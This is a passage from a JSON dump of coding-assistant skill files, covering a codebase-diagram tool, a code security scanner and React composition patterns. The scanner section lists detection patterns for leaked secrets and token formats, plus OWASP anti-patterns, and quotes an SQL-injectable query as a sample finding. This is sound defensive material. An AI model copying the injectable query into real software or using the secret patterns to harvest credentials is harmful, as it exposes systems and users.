Output as SVG (requires mmdc)\npython3 scripts/analyze_codebase.py /path/to/project --format svg\n\n# Output both Mermaid and SVG\npython3 scripts/analyze_codebase.py /path/to/project --format both\n```\n\n### Output JSON Analysis Results\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project --json\n```\n\n### Parameters\n\n| Parameter | Description |\n|-----------|-------------|\n| `directory` | Code directory to analyze (required) |\n| `--type, -t` | Diagram type: `architecture`, `flowchart`, `org`, `all` (default: `all`) |\n| `--output, -o` | Output directory (default: current directory) |\n| `--format, -f` | Output format: `mermaid`, `svg`, `both` (default: `mermaid`) |\n| `--max-files` | Maximum number of files to scan (default: 500) |\n| `--max-depth` | Maximum depth for org chart (default: 4) |\n| `--json` | Output analysis results in JSON format |\n\n## How It Works\n\n1. **Scan phase**: Recursively traverse the directory, skipping `node_modules`, `.git`, `__pycache__`, etc.\n2. **Parse phase**:\n   - Python files: uses the `ast` module to parse `import` and `from ... import` statements\n   - JS/TS files: uses regex to match `import`, `require`, and `export from`\n   - Go files: uses regex to match `import` statements\n   - Java files: uses regex to match `import` statements\n3. **Resolve internal dependencies**: Maps import paths to actual files within the project\n4. **Generate diagrams**: Converts dependency relationships into Mermaid diagram syntax\n5. **Render (optional)**: Calls `mmdc` (Mermaid CLI) to render `.mmd` files as SVG\n\n## Use Cases\n\n- Quickly understand the module structure of an unfamiliar project\n- Visualize dependencies during code review\n- Create architecture diagrams for technical documentation\n- Detect circular dependencies or excessive coupling\n- Analyze project structure before refactoring\n\n## Dependencies\n\n- Python 3.7+ (standard library only, no extra packages needed)\n- SVG output requires `@mermaid-js/mermaid-cli` (optional)\n\n## Notes\n\n- Only analyzes static import relationships; dynamic imports are not tracked\n- For large projects, use `--max-files` to limit the scan scope\n- Mermaid diagrams with too many nodes may be hard to render; use `--type` to generate diagrams separately\n","frontmatter":{"name":"code-to-diagram","description":"Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.","license":"MIT","type":"tool","tags":["visualization","architecture","mermaid","ast","diagram"]},"isInternal":false,"tokens":927,"sizeBytes":3892},{"name":"SKILL.md","path":"skills/code-vuln-audit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/code-vuln-audit/SKILL.md","title":"code-vuln-audit","category":"anthropic-skill","format":"markdown","content":"---\nname: code-vuln-audit\ndescription: \"Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.\"\nlicense: MIT\n---\n\n# code-vuln-audit\n\nA code security scanning tool with three core scanning capabilities:\n\n1. **Dependency Vulnerability Scanning** — Automatically detects known vulnerabilities in npm / pip dependencies\n2. **Secret Leak Detection** — Discovers hardcoded secrets, tokens, and passwords via regex matching + Shannon entropy analysis\n3. **OWASP Pattern Detection** — Identifies common security anti-patterns such as SQL injection, XSS, command injection, and insecure deserialization\n\n## Quick Start\n\n```bash\n# Scan the current directory (all checks)\npython3 scripts/security_scan.py .\n\n# Scan dependencies only\npython3 scripts/security_scan.py --mode deps .\n\n# Detect secret leaks only\npython3 scripts/security_scan.py --mode secrets /path/to/project\n\n# Detect OWASP security patterns only\npython3 scripts/security_scan.py --mode owasp .\n\n# Output report in JSON format\npython3 scripts/security_scan.py --format json --output report.json .\n\n# Only show findings at high severity and above\npython3 scripts/security_scan.py --severity high .\n```\n\n## Scan Module Details\n\n### 1. Dependency Vulnerability Scanning (deps)\n\nAutomatically detects the project type and invokes the appropriate tool:\n\n| Project Type | Detection File | Tool Used |\n|---|---|---|\n| Node.js | `package.json` + `package-lock.json` | `npm audit` |\n| Python | `requirements.txt` / `pyproject.toml` / `Pipfile` | `pip-audit` |\n\nIf the corresponding audit tool is not installed, a helpful message is displayed instead of an error.\n\n### 2. Secret Leak Detection (secrets)\n\nDetection is performed in two ways:\n\n**Regex Matching**: Covers common secret formats\n\n| Secret Type | Example Pattern |\n|---|---|\n| AWS Access Key | 20-character string starting with `AKIA` |\n| GitHub Token | Starts with `ghp_` or `github_pat_` |\n| Slack Token | Starts with `xoxb-` or `xoxp-` |\n| Stripe Key | Starts with `sk_live_` or `pk_live_` |\n| Private Key File | `-----BEGIN PRIVATE KEY-----` |\n| Generic API Key | Format like `api_key = \"...\"` |\n| Credentials in URL | `https://user:pass@host` |\n| JWT Token | `eyJ...` format |\n\n**Shannon Entropy Analysis**: Computes information entropy for string constants in code (threshold > 4.5 and length >= 20) to discover secrets in non-standard formats.\n\n### 3. OWASP Pattern Detection (owasp)\n\nCovers statically detectable security patterns from the OWASP Top 10:\n\n| OWASP Category | Detection Patterns |\n|---|---|\n| A02: Cryptographic Failures | Weak hashes (MD5/SHA1), weak ciphers (DES/RC4) |\n| A03: Injection | SQL injection, command injection (os.system / subprocess shell / eval / exec), XSS (innerHTML / document.write / dangerouslySetInnerHTML / v-html) |\n| A04: Insecure Design | Path traversal |\n| A05: Security Misconfiguration | Debug mode enabled, CORS wildcard, binding to 0.0.0.0 |\n| A08: Integrity Failures | Insecure deserialization (pickle / yaml.load / marshal / unserialize) |\n| A10: SSRF | User input passed directly to HTTP requests |\n\nSupported languages: Python, JavaScript/TypeScript, Java, PHP, Ruby, Go, and more.\n\n## Parameters\n\n| Parameter | Description | Default |\n|---|---|---|\n| `TARGET` | Directory to scan | Current directory |\n| `--mode MODE` | Scan mode: `all`, `deps`, `secrets`, `owasp` | `all` |\n| `--format FORMAT` | Output format: `text`, `json` | `text` |\n| `--output FILE` | Output file path | stdout |\n| `--severity LEVEL` | Minimum reporting level: `low`, `medium`, `high`, `critical` | `low` |\n| `--exclude-dir DIR` | Additional directories to exclude (repeatable) | - |\n| `--max-file-kb SIZE` | Maximum file size to scan in KB | `512` |\n| `-h, --help` | Show help | - |\n\n## Output Format\n\n### Text Output (default)\n\n```\n=== Security Scan Report ===\nTarget: /path/to/project\nModules: deps, secrets, owasp\n\n[CRITICAL] AWS Access Key ID\n  File: src/config.py:15\n  Code: AWS_KEY = \"AKIAIOSFODNN7EXAMPLE\"\n\n[HIGH] SQL Injection (f-string)\n  File: src/db.py:42\n  Code: cursor.execute(f\"SELECT * FROM users WHERE id={user_id}\")\n\n--- Summary ---\nCritical: 1 | High: 1 | Medium: 0 | Low: 0\nTotal findings: 2\n```\n\n### JSON Output\n\n```json\n{\n  \"target\": \"/path/to/project\",\n  \"scan_time\": \"2026-04-14T10:30:00\",\n  \"findings\": [\n    {\n      \"scanner\": \"secrets\",\n      \"name\": \"AWS Access Key ID\",\n      \"severity\": \"critical\",\n      \"file\": \"src/config.py\",\n      \"line\": 15,\n      \"snippet\": \"AWS_KEY = \\\"AKIAIOSFODNN7EXAMPLE\\\"\",\n      \"category\": \"secret-pattern\"\n    }\n  ],\n  \"summary\": {\"critical\": 1, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 1}\n}\n```\n\n## Exit Codes\n\n| Exit Code | Meaning |\n|---|---|\n| `0` | No findings |\n| `1` | Findings present (at least one security issue) |\n| `2` | Scanner internal error |\n\n## Prerequisites\n\n- Python 3.7+ (uses standard library only)\n- Dependency scanning requires the corresponding tools: `npm` (for Node.js projects), `pip-audit` (for Python projects)\n- If an audit tool is missing, that module will be skipped with a notice — other modules continue to run normally\n","frontmatter":{"name":"code-vuln-audit","description":"Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.","license":"MIT"},"isInternal":false,"tokens":1395,"sizeBytes":5363},{"name":"AGENTS.md","path":"skills/composition-patterns/AGENTS.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/AGENTS.md","title":"Composition-patterns Skill","category":"anthropic-skill","format":"markdown","content":"# React Composition Patterns\n\n**Version 1.0.0**\nEngineering\nJanuary 2026\n\n> **Note:**\n> This document is mainly for agents and LLMs to follow when maintaining,\n> generating, or refactoring React codebases using composition. Humans\n> may also find it useful, but guidance here is optimized for automation\n> and consistency by AI-assisted workflows.\n\n---\n\n## Abstract\n\nComposition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\n\n---\n\n## Table of Contents\n\n1. [Component Architecture](#1-component-architecture) — **HIGH**\n   - 1.1 [Avoid Boolean Prop Proliferation](#11-avoid-boolean-prop-proliferation)\n   - 1.2 [Use Compound Components](#12-use-compound-components)\n2. [State Management](#2-state-management) — **MEDIUM**\n   - 2.1 [Decouple State Management from UI](#21-decouple-state-management-from-ui)\n   - 2.2 [Define Generic Context Interfaces for Dependency Injection](#22-define-generic-context-interfaces-for-dependency-injection)\n   - 2.3 [Lift State into Provider Components](#23-lift-state-into-provider-components)\n3. [Implementation Patterns](#3-implementation-patterns) — **MEDIUM**\n   - 3.1 [Create Explicit Component Variants](#31-create-explicit-component-variants)\n   - 3.2 [Prefer Composing Children Over Render Props](#32-prefer-composing-children-over-render-props)\n4. [React 19 APIs](#4-react-19-apis) — **MEDIUM**\n   - 4.1 [React 19 API Changes](#41-react-19-api-changes)\n\n---\n\n## 1. Component Architecture\n\n**Impact: HIGH**\n\nFundamental patterns for structuring components to avoid prop\nproliferation and enable flexible composition.\n\n### 1.1 Avoid Boolean Prop Proliferation\n\n**Impact: CRITICAL (prevents unmaintainable component variants)**\n\nDon't add boolean props like `isThread`, `isEditing`, `isDMThread` to customize\n\ncomponent behavior. Each boolean doubles possible states and creates\n\nunmaintainable conditional logic. Use composition instead.\n\n**Incorrect: boolean props create exponential complexity**\n\n```tsx\nfunction Composer({\n  onSubmit,\n  isThread,\n  channelId,\n  isDMThread,\n  dmId,\n  isEditing,\n  isForwarding,\n}: Props) {\n  return (\n    <form>\n      <Header />\n      <Input />\n      {isDMThread ? (\n        <AlsoSendToDMField id={dmId} />\n      ) : isThread ? (\n        <AlsoSendToChannelField id={channelId} />\n      ) : null}\n      {isEditing ? <EditActions /> : isForwarding ? <ForwardActions /> : <DefaultActions />}\n      <Footer onSubmit={onSubmit} />\n    </form>\n  )\n}\n```\n\n**Correct: composition eliminates conditionals**\n\n```tsx\n// Channel composer\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Attachments />\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Thread composer - adds \"also send to channel\" field\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <AlsoSendToChannelField id={channelId} />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Edit composer - different footer actions\nfunction EditComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Formatting />\n        <Composer.Emojis />\n        <Composer.CancelEdit />\n        <Composer.SaveEdit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n```\n\nEach variant is explicit about what it renders. We can share internals without\n\nsharing a single monolithic parent.\n\n### 1.2 Use Compound Components\n\n**Impact: HIGH (enables flexible composition without prop drilling)**\n\nStructure complex components as compound components with a shared context. Each\n\nsubcomponent accesses shared state via context, not props. Consumers compose the\n\npieces they need.\n\n**Incorrect: monolithic component with render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n  showAttachments,\n  showFormatting,\n  showEmojis,\n}: Props) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {showAttachments && <Attachments />}\n      {renderFooter ? (\n        renderFooter()\n      ) : (\n        <Footer>\n          {showFormatting && <Formatting />}\n          {showEmojis && <Emojis />}\n          {renderActions?.()}\n        </Footer>\n      )}\n    </form>\n  )\n}\n```\n\n**Correct: compound components with shared context**\n\n```tsx\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n\nfunction ComposerProvider({ children, state, actions, meta }: ProviderProps) {\n  return <ComposerContext value={{ state, actions, meta }}>{children}</ComposerContext>\n}\n\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta: { inputRef },\n  } = use(ComposerContext)\n  return (\n    <TextInput\n      ref={inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n\nfunction ComposerSubmit() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Send</Button>\n}\n\n// Export as compound component\nconst Composer = {\n  Provider: ComposerProvider,\n  Frame: ComposerFrame,\n  Input: ComposerInput,\n  Submit: ComposerSubmit,\n  Header: ComposerHeader,\n  Footer: ComposerFooter,\n  Attachments: ComposerAttachments,\n  Formatting: ComposerFormatting,\n  Emojis: ComposerEmojis,\n}\n```\n\n**Usage:**\n\n```tsx\n<Composer.Provider state={state} actions={actions} meta={meta}>\n  <Composer.Frame>\n    <Composer.Header />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Submit />\n    </Composer.Footer>\n  </Composer.Frame>\n</Composer.Provider>\n```\n\nConsumers explicitly compose exactly what they need. No hidden conditionals. And the state, actions and meta are dependency-injected by a parent provider, allowing multiple usages of the same component structure.\n\n---\n\n## 2. State Management\n\n**Impact: MEDIUM**\n\nPatterns for lifting state and managing shared context across\ncomposed components.\n\n### 2.1 Decouple State Management from UI\n\n**Impact: MEDIUM (enables swapping state implementations without changing UI)**\n\nThe provider component should be the only place that knows how state is managed.\n\nUI components consume the context interface—they don't know if state comes from\n\nuseState, Zustand, or a server sync.\n\n**Incorrect: UI coupled to state implementation**\n\n```tsx\nfunction ChannelComposer({ channelId }: { channelId: string }) {\n  // UI component knows about global state implementation\n  const state = useGlobalChannelState(channelId)\n  const { submit, updateInput } = useChannelSync(channelId)\n\n  return (\n    <Composer.Frame>\n      <Composer.Input value={state.input} onChange={(text) => sync.updateInput(text)} />\n      <Composer.Submit onPress={() => sync.submit()} />\n    </Composer.Frame>\n  )\n}\n```\n\n**Correct: state management isolated in provider**\n\n```tsx\n// Provider handles all state management details\nfunction ChannelProvider({\n  channelId,\n  children,\n}: {\n  channelId: string\n  children: React.ReactNode\n}) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }} meta={{ inputRef }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// UI component only knows about the context interface\nfunction ChannelComposer() {\n  return (\n    <Composer.Frame>\n      <Composer.Header />\n      <Composer.Input />\n      <Composer.Footer>\n        <Composer.Submit />\n      </Composer.Footer>\n    </Composer.Frame>\n  )\n}\n\n// Usage\nfunction Channel({ channelId }: { channelId: string }) {\n  return (\n    <ChannelProvider channelId={channelId}>\n      <ChannelComposer />\n    </ChannelProvider>\n  )\n}\n```\n\n**Different providers, same UI:**\n\n```tsx\n// Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Provider state={state} actions={{ update: setState, submit: forwardMessage }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n\n// Global synced state for channels\nfunction ChannelProvider({ channelId, children }) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n\n  return (\n    <Composer.Provider state={state} actions={{ update, submit }}>\n      {children}\n    </Composer.Provider>\n  )\n}\n```\n\nThe same `Composer.Input` component works with both providers because it only\n\ndepends on the context interface, not the implementation.\n\n### 2.2 Define Generic Context Interfaces for Dependency Injection\n\n**Impact: HIGH (enables dependency-injectable state across use-cases)**\n\nDefine a **generic interface** for your component context with three parts:\n\n`state`, `actions`, and `meta`. This interface is a contract that any provider\n\ncan implement—enabling the same UI components to work with completely different\n\nstate implementations.\n\n**Core principle:** Lift state, compose internals, make state\n\ndependency-injectable.\n\n**Incorrect: UI coupled to specific state implementation**\n\n```tsx\nfunction ComposerInput() {\n  // Tightly coupled to a specific hook\n  const { input, setInput } = useChannelComposerState()\n  return <TextInput value={input} onChangeText={setInput} />\n}\n```\n\n**Correct: generic interface enables dependency injection**\n\n```tsx\n// Define a GENERIC interface that any provider can implement\ninterface ComposerState {\n  input: string\n  attachments: Attachment[]\n  isSubmitting: boolean\n}\n\ninterface ComposerActions {\n  update: (updater: (state: ComposerState) => ComposerState) => void\n  submit: () => void\n}\n\ninterface ComposerMeta {\n  inputRef: React.RefObject<TextInput>\n}\n\ninterface ComposerContextValue {\n  state: ComposerState\n  actions: ComposerActions\n  meta: ComposerMeta\n}\n\nconst ComposerContext = createContext<ComposerContextValue | null>(null)\n```\n\n**UI components consume the interface, not the implementation:**\n\n```tsx\nfunction ComposerInput() {\n  const {\n    state,\n    actions: { update },\n    meta,\n  } = use(ComposerContext)\n\n  // This component works with ANY provider that implements the interface\n  return (\n    <TextInput\n      ref={meta.inputRef}\n      value={state.input}\n      onChangeText={(text) => update((s) => ({ ...s, input: text }))}\n    />\n  )\n}\n```\n\n**Different providers implement the same interface:**\n\n```tsx\n// Provider A: Local state for ephemeral forms\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const inputRef = useRef(null)\n  const submit = useForwardMessage()\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update: setState, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n\n// Provider B: Global synced state for channels\nfunction ChannelProvider({ channelId, children }: Props) {\n  const { state, update, submit } = useGlobalChannel(channelId)\n  const inputRef = useRef(null)\n\n  return (\n    <ComposerContext\n      value={{\n        state,\n        actions: { update, submit },\n        meta: { inputRef },\n      }}\n    >\n      {children}\n    </ComposerContext>\n  )\n}\n```\n\n**The same composed UI works with both:**\n\n```tsx\n// Works with ForwardMessageProvider (local state)\n<ForwardMessageProvider>\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ForwardMessageProvider>\n\n// Works with ChannelProvider (global synced state)\n<ChannelProvider channelId=\"abc\">\n  <Composer.Frame>\n    <Composer.Input />\n    <Composer.Submit />\n  </Composer.Frame>\n</ChannelProvider>\n```\n\n**Custom UI outside the component can access state and actions:**\n\n```tsx\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        {/* The composer UI */}\n        <Composer.Frame>\n          <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n          <Composer.Footer>\n            <Composer.Formatting />\n            <Composer.Emojis />\n          </Composer.Footer>\n        </Composer.Frame>\n\n        {/* Custom UI OUTSIDE the composer, but INSIDE the provider */}\n        <MessagePreview />\n\n        {/* Actions at the bottom of the dialog */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton />\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\n// This button lives OUTSIDE Composer.Frame but can still submit based on its context!\nfunction ForwardButton() {\n  const {\n    actions: { submit },\n  } = use(ComposerContext)\n  return <Button onPress={submit}>Forward</Button>\n}\n\n// This preview lives OUTSIDE Composer.Frame but can read composer's state!\nfunction MessagePreview() {\n  const { state } = use(ComposerContext)\n  return <Preview message={state.input} attachments={state.attachments} />\n}\n```\n\nThe provider boundary is what matters—not the visual nesting. Components that\n\nneed shared state don't have to be inside the `Composer.Frame`. They just need\n\nto be within the provider.\n\nThe `ForwardButton` and `MessagePreview` are not visually inside the composer\n\nbox, but they can still access its state and actions. This is the power of\n\nlifting state into providers.\n\nThe UI is reusable bits you compose together. The state is dependency-injected\n\nby the provider. Swap the provider, keep the UI.\n\n### 2.3 Lift State into Provider Components\n\n**Impact: HIGH (enables state sharing outside component boundaries)**\n\nMove state management into dedicated provider components. This allows sibling\n\ncomponents outside the main UI to access and modify state without prop drilling\n\nor awkward refs.\n\n**Incorrect: state trapped inside component**\n\n```tsx\nfunction ForwardMessageComposer() {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n\n  return (\n    <Composer.Frame>\n      <Composer.Input />\n      <Composer.Footer />\n    </Composer.Frame>\n  )\n}\n\n// Problem: How does this button access composer state?\nfunction ForwardMessageDialog() {\n  return (\n    <Dialog>\n      <ForwardMessageComposer />\n      <MessagePreview /> {/* Needs composer state */}\n      <DialogActions>\n        <CancelButton />\n        <ForwardButton /> {/* Needs to call submit */}\n      </DialogActions>\n    </Dialog>\n  )\n}\n```\n\n**Incorrect: useEffect to sync state up**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const [input, setInput] = useState(\"\")\n  return (\n    <Dialog>\n      <ForwardMessageComposer onInputChange={setInput} />\n      <MessagePreview input={input} />\n    </Dialog>\n  )\n}\n\nfunction ForwardMessageComposer({ onInputChange }) {\n  const [state, setState] = useState(initialState)\n  useEffect(() => {\n    onInputChange(state.input) // Sync on every change 😬\n  }, [state.input])\n}\n```\n\n**Incorrect: reading state from ref on submit**\n\n```tsx\nfunction ForwardMessageDialog() {\n  const stateRef = useRef(null)\n  return (\n    <Dialog>\n      <ForwardMessageComposer stateRef={stateRef} />\n      <ForwardButton onPress={() => submit(stateRef.current)} />\n    </Dialog>\n  )\n}\n```\n\n**Correct: state lifted to provider**\n\n```tsx\nfunction ForwardMessageProvider({ children }: { children: React.ReactNode }) {\n  const [state, setState] = useState(initialState)\n  const forwardMessage = useForwardMessage()\n  const inputRef = useRef(null)\n\n  return (\n    <Composer.Provider\n      state={state}\n      actions={{ update: setState, submit: forwardMessage }}\n      meta={{ inputRef }}\n    >\n      {children}\n    </Composer.Provider>\n  )\n}\n\nfunction ForwardMessageDialog() {\n  return (\n    <ForwardMessageProvider>\n      <Dialog>\n        <ForwardMessageComposer />\n        <MessagePreview /> {/* Custom components can access state and actions */}\n        <DialogActions>\n          <CancelButton />\n          <ForwardButton /> {/* Custom components can access state and actions */}\n        </DialogActions>\n      </Dialog>\n    </ForwardMessageProvider>\n  )\n}\n\nfunction ForwardButton() {\n  const { actions } = use(Composer.Context)\n  return <Button onPress={actions.submit}>Forward</Button>\n}\n```\n\nThe ForwardButton lives outside the Composer.Frame but still has access to the\n\nsubmit action because it's within the provider. Even though it's a one-off\n\ncomponent, it can still access the composer's state and actions from outside the\n\nUI itself.\n\n**Key insight:** Components that need shared state don't have to be visually\n\nnested inside each other—they just need to be within the same provider.\n\n---\n\n## 3. Implementation Patterns\n\n**Impact: MEDIUM**\n\nSpecific techniques for implementing compound components and\ncontext providers.\n\n### 3.1 Create Explicit Component Variants\n\n**Impact: MEDIUM (self-documenting code, no hidden conditionals)**\n\nInstead of one component with many boolean props, create explicit variant\n\ncomponents. Each variant composes the pieces it needs. The code documents\n\nitself.\n\n**Incorrect: one component, many modes**\n\n```tsx\n// What does this component actually render?\n<Composer isThread isEditing={false} channelId=\"abc\" showAttachments showFormatting={false} />\n```\n\n**Correct: explicit variants**\n\n```tsx\n// Immediately clear what this renders\n<ThreadComposer channelId=\"abc\" />\n\n// Or\n<EditMessageComposer messageId=\"xyz\" />\n\n// Or\n<ForwardMessageComposer messageId=\"123\" />\n```\n\nEach implementation is unique, explicit and self-contained. Yet they can each\n\nuse shared parts.\n\n**Implementation:**\n\n```tsx\nfunction ThreadComposer({ channelId }: { channelId: string }) {\n  return (\n    <ThreadProvider channelId={channelId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <AlsoSendToChannelField channelId={channelId} />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Submit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ThreadProvider>\n  )\n}\n\nfunction EditMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <EditMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.CancelEdit />\n          <Composer.SaveEdit />\n        </Composer.Footer>\n      </Composer.Frame>\n    </EditMessageProvider>\n  )\n}\n\nfunction ForwardMessageComposer({ messageId }: { messageId: string }) {\n  return (\n    <ForwardMessageProvider messageId={messageId}>\n      <Composer.Frame>\n        <Composer.Input placeholder=\"Add a message, if you'd like.\" />\n        <Composer.Footer>\n          <Composer.Formatting />\n          <Composer.Emojis />\n          <Composer.Mentions />\n        </Composer.Footer>\n      </Composer.Frame>\n    </ForwardMessageProvider>\n  )\n}\n```\n\nEach variant is explicit about:\n\n- What provider/state it uses\n\n- What UI elements it includes\n\n- What actions are available\n\nNo boolean prop combinations to reason about. No impossible states.\n\n### 3.2 Prefer Composing Children Over Render Props\n\n**Impact: MEDIUM (cleaner composition, better readability)**\n\nUse `children` for composition instead of `renderX` props. Children are more\n\nreadable, compose naturally, and don't require understanding callback\n\nsignatures.\n\n**Incorrect: render props**\n\n```tsx\nfunction Composer({\n  renderHeader,\n  renderFooter,\n  renderActions,\n}: {\n  renderHeader?: () => React.ReactNode\n  renderFooter?: () => React.ReactNode\n  renderActions?: () => React.ReactNode\n}) {\n  return (\n    <form>\n      {renderHeader?.()}\n      <Input />\n      {renderFooter ? renderFooter() : <DefaultFooter />}\n      {renderActions?.()}\n    </form>\n  )\n}\n\n// Usage is awkward and inflexible\nreturn (\n  <Composer\n    renderHeader={() => <CustomHeader />}\n    renderFooter={() => (\n      <>\n        <Formatting />\n        <Emojis />\n      </>\n    )}\n    renderActions={() => <SubmitButton />}\n  />\n)\n```\n\n**Correct: compound components with children**\n\n```tsx\nfunction ComposerFrame({ children }: { children: React.ReactNode }) {\n  return <form>{children}</form>\n}\n\nfunction ComposerFooter({ children }: { children: React.ReactNode }) {\n  return <footer className=\"flex\">{children}</footer>\n}\n\n// Usage is flexible\nreturn (\n  <Composer.Frame>\n    <CustomHeader />\n    <Composer.Input />\n    <Composer.Footer>\n      <Composer.Formatting />\n      <Composer.Emojis />\n      <SubmitButton />\n    </Composer.Footer>\n  </Composer.Frame>\n)\n```\n\n**When render props are appropriate:**\n\n```tsx\n// Render props work well when you need to pass data back\n<List data={items} renderItem={({ item, index }) => <Item item={item} index={index} />} />\n```\n\nUse render props when the parent needs to provide data or state to the child.\n\nUse children when composing static structure.\n\n---\n\n## 4. React 19 APIs\n\n**Impact: MEDIUM**\n\nReact 19+ only. Don't use `forwardRef`; use `use()` instead of `useContext()`.\n\n### 4.1 React 19 API Changes\n\n**Impact: MEDIUM (cleaner component definitions and context usage)**\n\n> **⚠️ React 19+ only.** Skip this if you're on React 18 or earlier.\n\nIn React 19, `ref` is now a regular prop (no `forwardRef` wrapper needed), and `use()` replaces `useContext()`.\n\n**Incorrect: forwardRef in React 19**\n\n```tsx\nconst ComposerInput = forwardRef<TextInput, Props>((props, ref) => {\n  return <TextInput ref={ref} {...props} />\n})\n```\n\n**Correct: ref as a regular prop**\n\n```tsx\nfunction ComposerInput({ ref, ...props }: Props & { ref?: React.Ref<TextInput> }) {\n  return <TextInput ref={ref} {...props} />\n}\n```\n\n**Incorrect: useContext in React 19**\n\n```tsx\nconst value = useContext(MyContext)\n```\n\n**Correct: use instead of useContext**\n\n```tsx\nconst value = use(MyContext)\n```\n\n`use()` can also be called conditionally, unlike `useContext()`.\n\n---\n\n## References\n\n1. [https://react.dev](https://react.dev)\n2. [https://react.dev/learn/passing-data-deeply-with-context](https://react.dev/learn/passing-data-deeply-with-context)\n3. [https://react.dev/reference/react/use](https://react.dev/reference/react/use)\n","isInternal":false,"tokens":5015,"sizeBytes":22463},{"name":"metadata.json","path":"skills/composition-patterns/metadata.json","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/metadata.json","title":"Composition-patterns Skill","category":"anthropic-skill","format":"json","content":"{\n  \"version\": \"1.0.0\",\n  \"organization\": \"Engineering\",\n  \"date\": \"January 2026\",\n  \"abstract\": \"Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.\",\n  \"references\": [\n    \"https://react.dev\",\n    \"https://react.dev/learn/passing-data-deeply-with-context\",\n    \"https://react.dev/reference/react/use\"\n  ]\n}\n","frontmatter":{"version":"1.0.0","organization":"Engineering","date":"January 2026","abstract":"Composition patterns for building flexible, maintainable React components. Avoid boolean prop proliferation by using compound components, lifting state, and composing internals. These patterns make codebases easier for both humans and AI agents to work with as they scale.","references":["https://react.dev","https://react.dev/learn/passing-data-deeply-with-context","https://react.dev/reference/react/use"]},"isInternal":false,"tokens":122,"sizeBytes":530},{"name":"README.md","path":"skills/composition-patterns/README.md","rawUrl":"https://raw.githubusercontent.com/zebbern/claude-code-guide/HEAD/skills/composition-patterns/README.md","title":"Composition-patterns Skill","category":"anthropic-skill","format":"markdown","content":"# React Composition Patterns\n\nA structured repository for React composition patterns that scale. These\npatterns help avoid boolean prop proliferation by using compound components,\nlifting state, and composing internals.\n\n## Structure\n\n- `rules/` - Individual rule files (one per rule)\n  - `_sections.md` - Section metadata (titles, impacts, descriptions)\n  - `_template.md` - Template for creating new rules\n  - `area-description.md` - Individual rule files\n- `metadata.json` - Document metadata (version, organization, abstract)\n- 